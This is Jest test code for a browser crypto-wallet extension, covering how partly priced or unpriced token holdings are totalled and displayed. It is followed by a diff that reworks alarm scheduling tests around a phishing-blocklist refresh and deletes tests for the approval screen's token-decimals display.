const USDC = "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48";
|
||||
const NOVEL = "0x1111111111111111111111111111111111111111";
|
||||
|
||||
// No ETH, and a token no price is known for. The case the user is told is
|
||||
// worth $0.00 today.
|
||||
const UNPRICED_ONLY = {
|
||||
address: "0x" + "a".repeat(40),
|
||||
balance: "0",
|
||||
tokenBalances: [{ address: NOVEL, symbol: "NOVEL", balance: "5000.0" }],
|
||||
};
|
||||
|
||||
// Nothing at all: the address really is worth zero.
|
||||
const EMPTY = {
|
||||
address: "0x" + "b".repeat(40),
|
||||
balance: "0",
|
||||
tokenBalances: [],
|
||||
};
|
||||
|
||||
// Every holding priced.
|
||||
const FULLY_PRICED = {
|
||||
address: "0x" + "c".repeat(40),
|
||||
balance: "1.5",
|
||||
tokenBalances: [{ address: USDC, symbol: "USDC", balance: "2500.0" }],
|
||||
};
|
||||
|
||||
// Part priced, part not: 1.5 ETH plus a token with no price.
|
||||
const PARTLY_PRICED = {
|
||||
address: "0x" + "d".repeat(40),
|
||||
balance: "1.5",
|
||||
tokenBalances: [{ address: NOVEL, symbol: "NOVEL", balance: "5000.0" }],
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
clearPrices();
|
||||
prices.ETH = 2000;
|
||||
prices.USDC = 1;
|
||||
state.wallets = [];
|
||||
state.trackedTokens = [];
|
||||
state.showZeroBalanceTokens = false;
|
||||
state.activeAddress = null;
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
clearPrices();
|
||||
});
|
||||
|
||||
// The total line only, in each of the two markup-returning call sites. The
|
||||
// ETH balance line above it legitimately reads $0.00 for an address with no
|
||||
// ETH, so the assertions have to name the line under test.
|
||||
function walletListTotal(addr) {
|
||||
state.wallets = [{ name: "Wallet 1", type: "hd", addresses: [addr] }];
|
||||
const match = walletListHtml().match(/min-h-\[1rem\]">([^<]*)</);
|
||||
return match && match[1];
|
||||
}
|
||||
|
||||
function removalWarningTotal(addr) {
|
||||
const match = balanceWarningHtml(addr).match(/mt-1">([^<]*)</);
|
||||
return match && match[1];
|
||||
}
|
||||
|
||||
describe("the value of an address, and whether it is the whole value", () => {
|
||||
test("an address holding only unpriced tokens has an incomplete value", () => {
|
||||
expect(getAddressValue(UNPRICED_ONLY)).toEqual({
|
||||
usd: 0,
|
||||
partial: true,
|
||||
});
|
||||
});
|
||||
|
||||
test("an address holding nothing is complete, and zero", () => {
|
||||
expect(getAddressValue(EMPTY)).toEqual({ usd: 0, partial: false });
|
||||
});
|
||||
|
||||
test("a fully priced address is complete, and unchanged", () => {
|
||||
expect(getAddressValue(FULLY_PRICED)).toEqual({
|
||||
usd: 5500,
|
||||
partial: false,
|
||||
});
|
||||
});
|
||||
|
||||
test("a partly priced address keeps the part it can price", () => {
|
||||
expect(getAddressValue(PARTLY_PRICED)).toEqual({
|
||||
usd: 3000,
|
||||
partial: true,
|
||||
});
|
||||
});
|
||||
|
||||
// A token balance of zero is not a holding, so it cannot make the total
|
||||
// incomplete: an address with a spent-out unpriced token is worth zero.
|
||||
test("a zero balance in an unpriced token leaves the value complete", () => {
|
||||
const addr = {
|
||||
address: "0x1",
|
||||
balance: "0",
|
||||
tokenBalances: [{ address: NOVEL, symbol: "NOVEL", balance: "0" }],
|
||||
};
|
||||
expect(getAddressValue(addr)).toEqual({ usd: 0, partial: false });
|
||||
});
|
||||
|
||||
// Before the first price fetch, and on testnet, nothing is knowable: that
|
||||
// is a third state, and it stays distinct from both of the others.
|
||||
test("no prices at all means no value, not an incomplete one", () => {
|
||||
clearPrices();
|
||||
expect(getAddressValue(FULLY_PRICED)).toEqual({
|
||||
usd: null,
|
||||
partial: false,
|
||||
});
|
||||
});
|
||||
|
||||
test("one unpriced holding makes a wallet and the grand total partial", () => {
|
||||
const wallet = { addresses: [FULLY_PRICED, UNPRICED_ONLY] };
|
||||
expect(getWalletValue(wallet)).toEqual({ usd: 5500, partial: true });
|
||||
expect(getTotalValue([wallet])).toEqual({ usd: 5500, partial: true });
|
||||
});
|
||||
|
||||
test("a wallet of fully priced addresses stays complete", () => {
|
||||
const wallet = { addresses: [FULLY_PRICED, EMPTY] };
|
||||
expect(getWalletValue(wallet)).toEqual({ usd: 5500, partial: false });
|
||||
});
|
||||
});
|
||||
|
||||
describe("how that value is written on screen", () => {
|
||||
test("a complete total is the figure", () => {
|
||||
expect(formatAddressTotal(getAddressValue(FULLY_PRICED))).toBe(
|
||||
"Total: $5,500.00",
|
||||
);
|
||||
});
|
||||
|
||||
test("an address worth zero says so", () => {
|
||||
expect(formatAddressTotal(getAddressValue(EMPTY))).toBe("Total: $0.00");
|
||||
});
|
||||
|
||||
// The figure is still worth having — it is the ETH the user does hold —
|
||||
// but on its own it understates the address, so it is named as partial.
|
||||
test("a partly priced total is given, and marked as partial", () => {
|
||||
expect(formatAddressTotal(getAddressValue(PARTLY_PRICED))).toBe(
|
||||
"Total: $3,000.00 plus unpriced tokens",
|
||||
);
|
||||
});
|
||||
|
||||
// Nothing priced is held, so there is no figure to give: printing the
|
||||
// $0.00 sum of an empty set is the bug.
|
||||
test("a total with nothing priced in it gives no figure", () => {
|
||||
const line = formatAddressTotal(getAddressValue(UNPRICED_ONLY));
|
||||
expect(line).toBe("Total: unpriced tokens only");
|
||||
expect(line).not.toContain("$");
|
||||
});
|
||||
|
||||
test("an unknown value is written as nothing at all", () => {
|
||||
clearPrices();
|
||||
expect(formatAddressTotal(getAddressValue(FULLY_PRICED))).toBe("");
|
||||
});
|
||||
});
|
||||
|
||||
describe("the wallet list on Home", () => {
|
||||
test("an address holding only unpriced tokens is not totalled at $0.00", () => {
|
||||
expect(walletListTotal(UNPRICED_ONLY)).toBe(
|
||||
"Total: unpriced tokens only",
|
||||
);
|
||||
});
|
||||
|
||||
test("an address holding nothing is still totalled at $0.00", () => {
|
||||
expect(walletListTotal(EMPTY)).toBe("Total: $0.00");
|
||||
});
|
||||
|
||||
test("a fully priced address shows its total", () => {
|
||||
expect(walletListTotal(FULLY_PRICED)).toBe("Total: $5,500.00");
|
||||
});
|
||||
|
||||
test("a partly priced address shows the priced part, marked partial", () => {
|
||||
expect(walletListTotal(PARTLY_PRICED)).toBe(
|
||||
"Total: $3,000.00 plus unpriced tokens",
|
||||
);
|
||||
});
|
||||
|
||||
test("an address whose value is unknown keeps its blank line", () => {
|
||||
clearPrices();
|
||||
expect(walletListTotal(FULLY_PRICED)).toBe(" ");
|
||||
});
|
||||
});
|
||||
|
||||
describe("the balance warning on the address-removal confirmation", () => {
|
||||
// "This address holds a balance." followed by "Total: $0.00" is a flat
|
||||
// contradiction, on the one screen whose job is to warn.
|
||||
test("an address holding only unpriced tokens is not totalled at $0.00", () => {
|
||||
expect(balanceWarningHtml(UNPRICED_ONLY)).toContain(
|
||||
"This address holds a balance.",
|
||||
);
|
||||
expect(removalWarningTotal(UNPRICED_ONLY)).toBe(
|
||||
"Total: unpriced tokens only",
|
||||
);
|
||||
});
|
||||
|
||||
test("a fully priced address still shows its total", () => {
|
||||
expect(removalWarningTotal(FULLY_PRICED)).toBe("Total: $5,500.00");
|
||||
});
|
||||
|
||||
test("a partly priced address shows the priced part, marked partial", () => {
|
||||
expect(removalWarningTotal(PARTLY_PRICED)).toBe(
|
||||
"Total: $3,000.00 plus unpriced tokens",
|
||||
);
|
||||
});
|
||||
|
||||
test("no total line is written when the value is unknown", () => {
|
||||
clearPrices();
|
||||
expect(removalWarningTotal(FULLY_PRICED)).toBe(null);
|
||||
});
|
||||
});
|
||||
@@ -8,8 +8,6 @@
|
||||
// A controllable clock plus a stubbed balance refresh, so a cadence test can
|
||||
// measure the interval between refreshes that actually happened rather than
|
||||
// asserting the interval someone intended.
|
||||
const { makeStorageStub } = require("./support/storageStub");
|
||||
|
||||
let mockNow = 0;
|
||||
const mockBalanceRefreshAt = [];
|
||||
|
||||
@@ -82,12 +80,17 @@ describe("alarms module", () => {
|
||||
delete global.chrome;
|
||||
});
|
||||
|
||||
test("ensureRecurringAlarms schedules the recurring job", async () => {
|
||||
test("ensureRecurringAlarms schedules both recurring jobs", async () => {
|
||||
const created = await alarmsMod.ensureRecurringAlarms();
|
||||
expect(created).toEqual({ balance: true, cleared: [] });
|
||||
expect(created).toEqual({ balance: true, phishing: true });
|
||||
|
||||
const names = alarmsStub.created.map((c) => c.name);
|
||||
expect(names).toEqual([alarmsMod.BALANCE_REFRESH_ALARM]);
|
||||
const names = alarmsStub.created.map((c) => c.name).sort();
|
||||
expect(names).toEqual(
|
||||
[
|
||||
alarmsMod.BALANCE_REFRESH_ALARM,
|
||||
alarmsMod.PHISHING_REFRESH_ALARM,
|
||||
].sort(),
|
||||
);
|
||||
});
|
||||
|
||||
test("the balance refresh keeps its 60-second cadence", async () => {
|
||||
@@ -96,35 +99,12 @@ describe("alarms module", () => {
|
||||
expect(balance.periodInMinutes).toBe(1);
|
||||
});
|
||||
|
||||
test("a retired job's alarm is cleared, not left running", async () => {
|
||||
// The browser holds an alarm until something clears it. Deleting the
|
||||
// job from the code is not enough: on every install that ever ran the
|
||||
// version which created it, the alarm goes on waking the service
|
||||
// worker on its old schedule with nothing to deliver it to.
|
||||
for (const name of alarmsMod.OBSOLETE_ALARMS) {
|
||||
alarmsStub.create(name, { periodInMinutes: 24 * 60 });
|
||||
}
|
||||
expect(alarmsMod.OBSOLETE_ALARMS.length).toBeGreaterThan(0);
|
||||
|
||||
const result = await alarmsMod.ensureRecurringAlarms();
|
||||
expect(result.cleared).toEqual(alarmsMod.OBSOLETE_ALARMS);
|
||||
for (const name of alarmsMod.OBSOLETE_ALARMS) {
|
||||
expect(alarmsStub.alarms.get(name)).toBeUndefined();
|
||||
}
|
||||
});
|
||||
|
||||
test("clearing a retired alarm is not re-reported once it is gone", async () => {
|
||||
test("the phishing refresh keeps its 24-hour cadence", async () => {
|
||||
await alarmsMod.ensureRecurringAlarms();
|
||||
const again = await alarmsMod.ensureRecurringAlarms();
|
||||
expect(again.cleared).toEqual([]);
|
||||
});
|
||||
|
||||
test("no retired name is also a live one", async () => {
|
||||
// A name in both lists would be created and then cleared on every
|
||||
// start, so the job it schedules would never fire.
|
||||
expect(alarmsMod.OBSOLETE_ALARMS).not.toContain(
|
||||
alarmsMod.BALANCE_REFRESH_ALARM,
|
||||
const phishing = alarmsStub.alarms.get(
|
||||
alarmsMod.PHISHING_REFRESH_ALARM,
|
||||
);
|
||||
expect(phishing.periodInMinutes).toBe(24 * 60);
|
||||
});
|
||||
|
||||
test("no period is below the browser-enforced minimum", async () => {
|
||||
@@ -142,14 +122,14 @@ describe("alarms module", () => {
|
||||
|
||||
test("a revived worker does not reset an existing alarm's schedule", async () => {
|
||||
await alarmsMod.ensureRecurringAlarms();
|
||||
expect(alarmsStub.create).toHaveBeenCalledTimes(1);
|
||||
expect(alarmsStub.create).toHaveBeenCalledTimes(2);
|
||||
|
||||
// Every wake re-runs the startup path. Re-creating an alarm restarts
|
||||
// its period, so a busy extension would push the next fire out
|
||||
// forever and the job would never run.
|
||||
const again = await alarmsMod.ensureRecurringAlarms();
|
||||
expect(again).toEqual({ balance: false, cleared: [] });
|
||||
expect(alarmsStub.create).toHaveBeenCalledTimes(1);
|
||||
expect(again).toEqual({ balance: false, phishing: false });
|
||||
expect(alarmsStub.create).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
test("a missing alarm is re-created on the next start", async () => {
|
||||
@@ -157,7 +137,7 @@ describe("alarms module", () => {
|
||||
await alarmsStub.clear(alarmsMod.BALANCE_REFRESH_ALARM);
|
||||
|
||||
const again = await alarmsMod.ensureRecurringAlarms();
|
||||
expect(again).toEqual({ balance: true, cleared: [] });
|
||||
expect(again).toEqual({ balance: true, phishing: false });
|
||||
expect(
|
||||
alarmsStub.alarms.get(alarmsMod.BALANCE_REFRESH_ALARM),
|
||||
).toBeDefined();
|
||||
@@ -167,17 +147,17 @@ describe("alarms module", () => {
|
||||
// An install carries its alarms across an extension update, so a
|
||||
// period changed in a new release only ever reaches users if the
|
||||
// stale one is reconciled.
|
||||
alarmsStub.create(alarmsMod.BALANCE_REFRESH_ALARM, {
|
||||
alarmsStub.create(alarmsMod.PHISHING_REFRESH_ALARM, {
|
||||
periodInMinutes: 7 * 24 * 60,
|
||||
});
|
||||
alarmsStub.create.mockClear();
|
||||
|
||||
const created = await alarmsMod.ensureRecurringAlarms();
|
||||
expect(created.balance).toBe(true);
|
||||
expect(created.phishing).toBe(true);
|
||||
expect(
|
||||
alarmsStub.alarms.get(alarmsMod.BALANCE_REFRESH_ALARM)
|
||||
alarmsStub.alarms.get(alarmsMod.PHISHING_REFRESH_ALARM)
|
||||
.periodInMinutes,
|
||||
).toBe(alarmsMod.BALANCE_REFRESH_PERIOD_MINUTES);
|
||||
).toBe(alarmsMod.PHISHING_REFRESH_PERIOD_MINUTES);
|
||||
});
|
||||
|
||||
test("reconciling a period settles instead of re-creating forever", async () => {
|
||||
@@ -188,31 +168,31 @@ describe("alarms module", () => {
|
||||
alarmsStub.create.mockClear();
|
||||
|
||||
const again = await alarmsMod.ensureRecurringAlarms();
|
||||
expect(again).toEqual({ balance: false, cleared: [] });
|
||||
expect(again).toEqual({ balance: false, phishing: false });
|
||||
expect(alarmsStub.create).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
test("handlers are dispatched by alarm name from one listener", () => {
|
||||
const balance = jest.fn();
|
||||
const other = jest.fn();
|
||||
const phishing = jest.fn();
|
||||
expect(
|
||||
alarmsMod.registerAlarmHandlers({
|
||||
[alarmsMod.BALANCE_REFRESH_ALARM]: balance,
|
||||
"autistmask-some-other-job": other,
|
||||
[alarmsMod.PHISHING_REFRESH_ALARM]: phishing,
|
||||
}),
|
||||
).toBe(true);
|
||||
expect(alarmsStub.listenerCount()).toBe(1);
|
||||
|
||||
alarmsStub.fire(alarmsMod.BALANCE_REFRESH_ALARM);
|
||||
expect(balance).toHaveBeenCalledTimes(1);
|
||||
expect(other).not.toHaveBeenCalled();
|
||||
expect(phishing).not.toHaveBeenCalled();
|
||||
|
||||
alarmsStub.fire("autistmask-some-other-job");
|
||||
expect(other).toHaveBeenCalledTimes(1);
|
||||
alarmsStub.fire(alarmsMod.PHISHING_REFRESH_ALARM);
|
||||
expect(phishing).toHaveBeenCalledTimes(1);
|
||||
|
||||
alarmsStub.fire("an-alarm-with-no-handler");
|
||||
alarmsStub.fire("some-other-extension-alarm");
|
||||
expect(balance).toHaveBeenCalledTimes(1);
|
||||
expect(other).toHaveBeenCalledTimes(1);
|
||||
expect(phishing).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
test("Firefox MV2 gets the same treatment via browser.alarms", async () => {
|
||||
@@ -225,8 +205,8 @@ describe("alarms module", () => {
|
||||
try {
|
||||
const mod = require("../src/shared/alarms");
|
||||
const created = await mod.ensureRecurringAlarms();
|
||||
expect(created).toEqual({ balance: true, cleared: [] });
|
||||
expect(firefoxAlarms.created).toHaveLength(1);
|
||||
expect(created).toEqual({ balance: true, phishing: true });
|
||||
expect(firefoxAlarms.created).toHaveLength(2);
|
||||
// The Chrome stub must not have been touched.
|
||||
expect(alarmsStub.create).not.toHaveBeenCalled();
|
||||
} finally {
|
||||
@@ -240,7 +220,7 @@ describe("alarms module", () => {
|
||||
const mod = require("../src/shared/alarms");
|
||||
await expect(mod.ensureRecurringAlarms()).resolves.toEqual({
|
||||
balance: false,
|
||||
cleared: [],
|
||||
phishing: false,
|
||||
});
|
||||
expect(mod.registerAlarmHandlers({})).toBe(false);
|
||||
});
|
||||
@@ -249,17 +229,32 @@ describe("alarms module", () => {
|
||||
// Loads the background worker against stubbed browser APIs. The returned
|
||||
// store is the extension storage the worker sees, so a test can seed wallet
|
||||
// state and read back what the worker persisted.
|
||||
// The stub clones in both directions, as the real chrome.storage.local does,
|
||||
// and carries the latency simulation above on every operation. It used to
|
||||
// alias, which for this file meant the worker's in-memory wallets and the
|
||||
// "stored" ones were one object — see tests/support/storageStub.js.
|
||||
function loadBackground(initialStore = {}) {
|
||||
const storage = makeStorageStub(initialStore, mockStorageTick);
|
||||
const storageStore = initialStore;
|
||||
const alarmsStub = makeAlarmsStub();
|
||||
const listeners = { onInstalled: [], onStartup: [] };
|
||||
global.chrome = {
|
||||
alarms: alarmsStub,
|
||||
storage,
|
||||
storage: {
|
||||
local: {
|
||||
get: async (key) => {
|
||||
mockStorageTick();
|
||||
return Object.prototype.hasOwnProperty.call(
|
||||
storageStore,
|
||||
key,
|
||||
)
|
||||
? { [key]: storageStore[key] }
|
||||
: {};
|
||||
},
|
||||
set: async (items) => {
|
||||
mockStorageTick();
|
||||
Object.assign(storageStore, items);
|
||||
},
|
||||
remove: async (key) => {
|
||||
delete storageStore[key];
|
||||
},
|
||||
},
|
||||
},
|
||||
runtime: {
|
||||
onMessage: { addListener: jest.fn() },
|
||||
onConnect: { addListener: jest.fn() },
|
||||
@@ -279,16 +274,13 @@ function loadBackground(initialStore = {}) {
|
||||
tabs: { query: jest.fn(), sendMessage: jest.fn() },
|
||||
action: { setPopup: jest.fn() },
|
||||
};
|
||||
// Present so that a startup path which went to the network would be
|
||||
// recorded rather than throwing, which is what makes "no request was made"
|
||||
// an observation instead of an assumption.
|
||||
global.fetch = jest.fn(async () => ({
|
||||
ok: true,
|
||||
json: async () => ({}),
|
||||
json: async () => ({ blacklist: [] }),
|
||||
}));
|
||||
jest.resetModules();
|
||||
require("../src/background/index");
|
||||
return { alarmsStub, listeners, storage };
|
||||
return { alarmsStub, listeners, store: storageStore };
|
||||
}
|
||||
|
||||
// Flush the promise chains the startup path and the alarm handlers run on.
|
||||
@@ -326,21 +318,17 @@ describe("background worker scheduling", () => {
|
||||
// Let the startup path's promises settle.
|
||||
await settle();
|
||||
|
||||
const names = alarmsStub.created.map((c) => c.name);
|
||||
const { BALANCE_REFRESH_ALARM } = require("../src/shared/alarms");
|
||||
expect(names).toEqual([BALANCE_REFRESH_ALARM]);
|
||||
const names = alarmsStub.created.map((c) => c.name).sort();
|
||||
const {
|
||||
BALANCE_REFRESH_ALARM,
|
||||
PHISHING_REFRESH_ALARM,
|
||||
} = require("../src/shared/alarms");
|
||||
expect(names).toEqual(
|
||||
[BALANCE_REFRESH_ALARM, PHISHING_REFRESH_ALARM].sort(),
|
||||
);
|
||||
expect(mockSetIntervalCalls).toBe(0);
|
||||
});
|
||||
|
||||
test("startup contacts nothing", async () => {
|
||||
// The phishing blocklist is vendored at build time and there is no
|
||||
// other startup fetch, so a worker coming up asks nobody anything.
|
||||
// Every wake used to be a candidate for a blocklist download.
|
||||
loadBackground();
|
||||
await settle();
|
||||
expect(global.fetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
test("an onAlarm listener is installed on startup", async () => {
|
||||
alarmsStub = loadBackground().alarmsStub;
|
||||
await settle();
|
||||
@@ -360,7 +348,7 @@ describe("background worker scheduling", () => {
|
||||
alarmsStub.created.length = 0;
|
||||
loaded.listeners.onStartup[0]();
|
||||
await settle();
|
||||
expect(alarmsStub.created).toHaveLength(1);
|
||||
expect(alarmsStub.created).toHaveLength(2);
|
||||
});
|
||||
|
||||
test("the install-time listener and the top-level call share one run", async () => {
|
||||
@@ -372,10 +360,13 @@ describe("background worker scheduling", () => {
|
||||
loaded.listeners.onInstalled[0]();
|
||||
await settle();
|
||||
|
||||
expect(alarmsStub.created).toHaveLength(1);
|
||||
expect(alarmsStub.created.map((c) => c.name)).toEqual([
|
||||
"autistmask-balance-refresh",
|
||||
]);
|
||||
expect(alarmsStub.created).toHaveLength(2);
|
||||
expect(alarmsStub.created.map((c) => c.name).sort()).toEqual(
|
||||
[
|
||||
"autistmask-balance-refresh",
|
||||
"autistmask-phishing-refresh",
|
||||
].sort(),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -397,23 +388,8 @@ describe("balance refresh steady-state cadence", () => {
|
||||
return {
|
||||
autistmask: {
|
||||
hasWallet: true,
|
||||
// A whole wallet record, not a bare address: a stored profile
|
||||
// is validated against the schema on every read now
|
||||
// (src/shared/stateSchema.js), and a wallet with no address
|
||||
// list is one of the shapes that refuses to load.
|
||||
wallets: [
|
||||
{
|
||||
name: "Wallet 1",
|
||||
type: "hd",
|
||||
addresses: [
|
||||
{
|
||||
address:
|
||||
"0x0000000000000000000000000000000000000001",
|
||||
balance: "0",
|
||||
tokenBalances: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
{ address: "0x0000000000000000000000000000000000000001" },
|
||||
],
|
||||
lastBalanceRefresh: 0,
|
||||
},
|
||||
@@ -478,16 +454,12 @@ describe("balance refresh steady-state cadence", () => {
|
||||
// The guard's actual job, and the reason it is shortened rather than
|
||||
// removed: while the popup is open it refreshes every 10 seconds and
|
||||
// stamps the same field, and the background job has nothing to add.
|
||||
const { alarmsStub, storage } = loadBackground(seededStore());
|
||||
const store = seededStore();
|
||||
const { alarmsStub } = loadBackground(store);
|
||||
await settle();
|
||||
|
||||
mockNow += PERIOD_MS;
|
||||
// As the open popup's own refresh would leave it: written to storage,
|
||||
// not poked into an object the worker happens to share.
|
||||
storage.write("autistmask", {
|
||||
...storage.read("autistmask"),
|
||||
lastBalanceRefresh: mockNow - 10 * 1000,
|
||||
});
|
||||
store.autistmask.lastBalanceRefresh = mockNow - 10 * 1000;
|
||||
alarmsStub.fire(BALANCE_REFRESH_ALARM);
|
||||
await settle();
|
||||
|
||||
|
||||
@@ -1,208 +0,0 @@
|
||||
// The quantity the dApp approval screen shows for a decoded ERC-20 call.
|
||||
//
|
||||
// The screen's amount line is the only place a user sees how much a page is
|
||||
// asking for, and it is decoded from calldata, which carries base units and
|
||||
// no scale. Issue #306: decodeCalldata read decimals from the bundled token
|
||||
// list alone and fell back to 18, so a `transfer` of 5000000000 units of a
|
||||
// 6-decimal token — 5,000 tokens — was displayed as `0.0000` and confirmed.
|
||||
//
|
||||
// What is asserted here is that the scale is found wherever the wallet
|
||||
// already has it, and that where it is nowhere at all no formatted number is
|
||||
// produced: the amount line has to say base units and say the scale is
|
||||
// unknown, because a wrong quantity that reads as zero is worse than an
|
||||
// unwieldy correct one.
|
||||
|
||||
globalThis.chrome = {
|
||||
storage: { local: { get: async () => ({}), set: async () => {} } },
|
||||
};
|
||||
|
||||
const { Interface } = require("ethers");
|
||||
const { ERC20_ABI } = require("../src/shared/constants");
|
||||
const { state } = require("../src/shared/state");
|
||||
const {
|
||||
resolveTokenDecimals,
|
||||
unknownDecimalsAmount,
|
||||
} = require("../src/shared/approvalAmount");
|
||||
const { decodeCalldata } = require("../src/popup/views/approval");
|
||||
|
||||
const iface = new Interface(ERC20_ABI);
|
||||
|
||||
// Outside the bundled list, as the great majority of ERC-20s are.
|
||||
const NOVEL_TOKEN = "0xE2E0000000000000000000000000000000000E2e";
|
||||
// In the bundled list, at 6 decimals.
|
||||
const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
|
||||
const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
|
||||
const SPENDER = "0x1111111111111111111111111111111111111111";
|
||||
|
||||
// 5,000 units of a 6-decimal token, the amount from the issue.
|
||||
const FIVE_THOUSAND_AT_SIX = 5000000000n;
|
||||
const MAX_UINT256 = (1n << 256n) - 1n;
|
||||
|
||||
function transferData(amount) {
|
||||
return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
|
||||
}
|
||||
|
||||
function approveData(amount) {
|
||||
return iface.encodeFunctionData("approve", [SPENDER, amount]);
|
||||
}
|
||||
|
||||
// The Amount line as the approval screen renders it.
|
||||
function amountLine(data, tokenAddress) {
|
||||
const decoded = decodeCalldata(data, tokenAddress);
|
||||
const detail = decoded.details.find((d) => d.label === "Amount");
|
||||
return detail.value;
|
||||
}
|
||||
|
||||
// A wallet holding `token` with the decimals the block explorer reported,
|
||||
// shaped as balances.js writes it onto state.
|
||||
function walletsHolding(token, decimals) {
|
||||
return [
|
||||
{
|
||||
name: "Wallet 1",
|
||||
addresses: [
|
||||
{
|
||||
address: "0x" + "a".repeat(40),
|
||||
balance: "1.0",
|
||||
tokenBalances: [
|
||||
{
|
||||
address: token,
|
||||
symbol: "NOVEL",
|
||||
decimals,
|
||||
balance: "5000.0",
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
state.trackedTokens = [];
|
||||
state.wallets = [];
|
||||
});
|
||||
|
||||
describe("resolveTokenDecimals", () => {
|
||||
test("prefers the bundled list", () => {
|
||||
state.trackedTokens = [{ address: USDC, symbol: "USDC", decimals: 2 }];
|
||||
expect(resolveTokenDecimals(USDC, state)).toBe(6);
|
||||
});
|
||||
|
||||
test("reads a token the user tracks", () => {
|
||||
state.trackedTokens = [
|
||||
{
|
||||
address: NOVEL_TOKEN.toLowerCase(),
|
||||
symbol: "NOVEL",
|
||||
decimals: 6,
|
||||
},
|
||||
];
|
||||
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
|
||||
});
|
||||
|
||||
test("reads the decimals the explorer reported", () => {
|
||||
// Blockscout's copy arrives as a string.
|
||||
state.wallets = walletsHolding(NOVEL_TOKEN, "6");
|
||||
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
|
||||
});
|
||||
|
||||
test("falls past a tracked entry whose decimals are unusable", () => {
|
||||
state.trackedTokens = [
|
||||
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: NaN },
|
||||
];
|
||||
state.wallets = walletsHolding(NOVEL_TOKEN, 6);
|
||||
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
|
||||
});
|
||||
|
||||
test("refuses a scale the explorer's own entries disagree about", () => {
|
||||
const wallets = walletsHolding(NOVEL_TOKEN, 6);
|
||||
wallets[0].addresses.push({
|
||||
address: "0x" + "b".repeat(40),
|
||||
balance: "0.0",
|
||||
tokenBalances: [
|
||||
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 18 },
|
||||
],
|
||||
});
|
||||
state.wallets = wallets;
|
||||
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
|
||||
});
|
||||
|
||||
test("rejects values that are not a uint8", () => {
|
||||
for (const decimals of [-1, 256, 1.5, true, [], {}, null, "6.0", ""]) {
|
||||
state.trackedTokens = [{ address: NOVEL_TOKEN, decimals }];
|
||||
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
test("is null when nothing knows the token", () => {
|
||||
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("decodeCalldata amount", () => {
|
||||
test("transfer of a tracked 6-decimal token shows the true quantity", () => {
|
||||
state.trackedTokens = [
|
||||
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
|
||||
];
|
||||
expect(
|
||||
amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
|
||||
).toBe("5000.0000");
|
||||
});
|
||||
|
||||
test("transfer priced off the explorer's decimals shows the true quantity", () => {
|
||||
state.wallets = walletsHolding(NOVEL_TOKEN, "6");
|
||||
expect(
|
||||
amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
|
||||
).toBe("5000.0000");
|
||||
});
|
||||
|
||||
test("transfer of an unknown-decimals token shows base units, not a number", () => {
|
||||
const line = amountLine(
|
||||
transferData(FIVE_THOUSAND_AT_SIX),
|
||||
NOVEL_TOKEN,
|
||||
);
|
||||
expect(line).toBe("5000000000 base units (decimals unknown)");
|
||||
expect(line).toBe(unknownDecimalsAmount(FIVE_THOUSAND_AT_SIX));
|
||||
// The defect: any rendering that reads as a token quantity, and above
|
||||
// all one that reads as zero.
|
||||
expect(line).not.toMatch(/0\.0000/);
|
||||
});
|
||||
|
||||
test("approve of a tracked 6-decimal token shows the true quantity", () => {
|
||||
state.trackedTokens = [
|
||||
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
|
||||
];
|
||||
expect(amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN)).toBe(
|
||||
"5000.0000",
|
||||
);
|
||||
});
|
||||
|
||||
test("approve of an unknown-decimals token shows base units, not a number", () => {
|
||||
const line = amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN);
|
||||
expect(line).toBe("5000000000 base units (decimals unknown)");
|
||||
expect(line).not.toMatch(/0\.0000/);
|
||||
});
|
||||
|
||||
test("an unbounded allowance is still named, with or without a scale", () => {
|
||||
expect(amountLine(approveData(MAX_UINT256), NOVEL_TOKEN)).toBe(
|
||||
"Unlimited",
|
||||
);
|
||||
expect(amountLine(approveData(MAX_UINT256), USDC)).toBe("Unlimited");
|
||||
});
|
||||
|
||||
test("a bundled token keeps its symbol and its scale", () => {
|
||||
expect(amountLine(transferData(FIVE_THOUSAND_AT_SIX), USDC)).toBe(
|
||||
"5000.0000 USDC",
|
||||
);
|
||||
});
|
||||
|
||||
test("the amount carried to the status screens is the same string", () => {
|
||||
const decoded = decodeCalldata(
|
||||
transferData(FIVE_THOUSAND_AT_SIX),
|
||||
NOVEL_TOKEN,
|
||||
);
|
||||
const detail = decoded.details.find((d) => d.label === "Amount");
|
||||
expect(detail.rawValue).toBe(
|
||||
"5000000000 base units (decimals unknown)",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -1,190 +0,0 @@
|
||||
// The floor of the approval screen's amount line.
|
||||
//
|
||||
// Amounts are truncated to four decimal places for scannability (README.md,
|
||||
// Display Consistency). With the token's true scale resolved, that truncation
|
||||
// can still take a real amount below the floor and print it as `0.0000`: one
|
||||
// base unit of an 18-decimal token, or a few hundred of an 8-decimal one. On
